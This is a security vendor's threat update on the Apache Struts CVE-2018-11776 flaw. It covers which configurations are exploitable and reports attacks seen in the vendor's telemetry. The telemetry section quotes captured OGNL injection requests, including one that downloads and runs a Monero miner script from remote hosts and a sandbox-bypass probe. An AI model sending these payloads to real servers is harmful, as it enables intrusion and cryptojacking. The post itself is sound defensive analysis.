Last week we published a blog post about an emerging threat. A new vulnerability had been discovered in Apache Struts, and a proof-of-concept exploit had been developed. The purpose of this post is to share updated information—both about caveats that limit the scope and impact of the vulnerability in general, and the discovery of a cryptomining attack that targets this vulnerability.
A closer look at the Apache Struts vulnerability
We pointed out in the post last week that the proof-of-concept exploit would only work if certain conditions exist on the target system. “If the alwaysSelectFullNamespace flag is set to “True” in the Struts configuration, and the Struts configuration file contains an “action” or “URL” tag that does not specify the optional namespace attribute or specifies a wildcard namespace, then the system is vulnerable.”
Upon further technical analysis, Alert Logic researchers determined that these conditions might get a cyber attacker in the door, but there are other factors that must also be in place for the attacker to be able get full command execution capabilities on the target host. Fortunately, those factors don’t exist by default.
To get full command execution, the attacker needs to be able to evaluate OGNL expressions, but the OGNLUtil class was changed a few versions back to deny eval expressions by default. If the default condition has been changed, or if the attacker is able to set the condition through some other unknown attack vector, then the attacker can get full command execution on the compromised system (for more technical details, please refer to the Technical Analysis and Telemetry Analysis sections).
The good news is that the first case greatly limits the number of practically impacted hosts since it would have to be manually changed from the default, and the latter significantly raises the bar for attackers since they’d have to also successfully execute an additional exploit to be able to change the condition.
Cryptomining attack targets Apache Struts vulnerability
If—for some reason—you have configured your Apache Struts to evaluate OGNL expressions, you’re in trouble. Alert Logic has started to see malicious payloads associated with exploits that target this Apache Struts flaw.
We have seen a moderate volume of reconnaissance activity across our WAF Firewall and IDS software deployments starting just hours after the proof-of-concept was initially released. On August 27, however, we saw the first malicious payload—an attempt to install Monero cryptomining software. Alert Logic has not yet seen a successful attack using this exploit, but it’s only a matter of time.
Alert Logic will continue to monitor this exploit to see if it is combined with other Apache Struts exploits or otherwise additionally weaponized and publish an update if there is any relevant news. We recommend that you patch or mitigate your Apache Struts installs. Alert Logic customers should refer to the Alert Logic Knowledge Base for the most current information.
See below for a more detailed technical analysis.
Technical Analysis
Let’s start with the raw information at hand. A brief walkthrough of the vulnerability is provided here: https://semmle.com/news/apache-struts-CVE-2018-11776. And the first proof of concept code was dropped here: https://github.com/jas502n/St2-057. A few conditions are expressly laid out in these sources:
- The alwaysSelectFullNamespace flag is set to true in the Struts configuration.
- Your application uses actions that are configured without specifying a namespace, or with a wildcard namespace (e.g. “/*”).
However, this isn’t all the steps that need to be fulfilled to allow true command execution on the victim host. They are enough if an attacker wanted to perform arithmetic operations on the victim host (What is 111 + 111?), but other than use the victim as a calculator this doesn’t have a direct malicious impact. You would expect to see scanners try this method for this very reason.
The goal of attackers is to be able to evaluate OGNL expressions through the same route. If you were to try that with just the two conditions above on Struts 2.3.31 then Struts would (silently in the background) throw the following exception:
- java.lang.Throwable.detailMessage: “Eval expressions/chained expressions have been disabled!”
https://cwiki.apache.org/confluence/display/WW/S2-013
The OGNLUtil class was changed to deny eval expressions by default (since struts 2.3.14.1 – CVE-2013-1966). Backward Compatibility – In case you need to restore the old behavior, you need to define the following constant, inside your struts configuration (use it at your own risk).
The exception is silently handled as when OgnlValueStack.findValue() is overloaded with (String expr, Class asType), the throwExceptionOnFailure boolean defaults to false meaning any exception thrown from this function (or called functions within) will be silently handled.
Function flow when processing this use case –
OgnlValueStack.findValue()->tryFindValueWhenExpressionIsNotNull()->tryFindValue()→getValue()→
OgnlUtil.getValue()→compileAndExecute()→checkEnableEvalExpression()
The checkEnableEvalExpression function will trigger an exception (aborting the code flow and preventing attackers payload from being further evaluated) if struts.ognl.enableOGNLEvalExpression == false (default) and the expression is a chained or sequenced evaluation. This explains why simple arithmetic such as ‘${(1+2)}’ doesn’t trigger this exception as isEvalExpression() will return false.
Assuming the struts.ognl.enableOGNLEvalExpression == true condition has been met, the subsequent OGNL sandbox bypass techniques used prior to the successfully executing the attackers java payload will vary depending on which version of struts is being used. Many different techniques are known to attackers and have been utilized in previous struts vulnerabilities.
The good news is that an attacker cannot directly SET this condition in their attack request. This would have to have been set already by the victim or perhaps set by some other unknown vector. The first case greatly limits the number of practically impacted hosts and the latter significantly raises the bar for attackers. Of course, for those who HAVE set that flag, you are in some serious danger, because as our telemetry review found, we are beginning to see malicious payloads.
Telemetry Analysis
We have seen moderate volume reconnaissance activity across our WAF and IDS deployments since within 12 hours of initial GitHub POC disclosure, but we did not see our first overtly malicious exploit payload until August 27th. This payload attempts to install Monero coin mining software.
Host: XXXX
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
GET /struts3-showcase/$${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('wget -O xrig https://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget https://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L https://bitbucket.org/c646/zz/downloads/upcheck.sh --output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action
The actual payload used appears to have been derived from publicly available proof of concept scripts (https://github.com/pr4jwal/quick-scripts/blob/master/s2-057.py) and is targeting the same pages. We have observed this exploit targeted at /struts3-showcase/actionChain1.action.
The reconnaissance activity centers primarily around struts2-showcase. 86% of attempts are targeting actionChain1.action located in /struts2-showcase/ and /struts2-showcase/struts2-showcase. 8% of probes are attempting to exploit /struts2-showcase/index.action.
We have yet to see a successful attack, nor any indication that previous reconnaissance probes were followed on by an attack.
We have seen 2 distinct styles of malicious probes, initially we saw attempts at returning basic addition, and later on Java code to actually add a header to the response. If this exploit was successful, the attacker would look for the expected value in the server response.
The first payload that we saw was an addition style reconnaissance attempt:
GET /struts2-showcase/${(111+111)}/actionChain1.action HTTP/1.1
Host: XXXX
user-aget: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Connection: keep-alive
User-Agent: python-requests/2.9.1
Accept: */*
Accept-Encoding: gzip, deflate
Later observed add header style attempts:
POST /struts2-showcase/%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getResponse()).(#res.addHeader('eresult','struts2_security_check'))}/index.action HTTP/1.1
Host:XXXX
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencode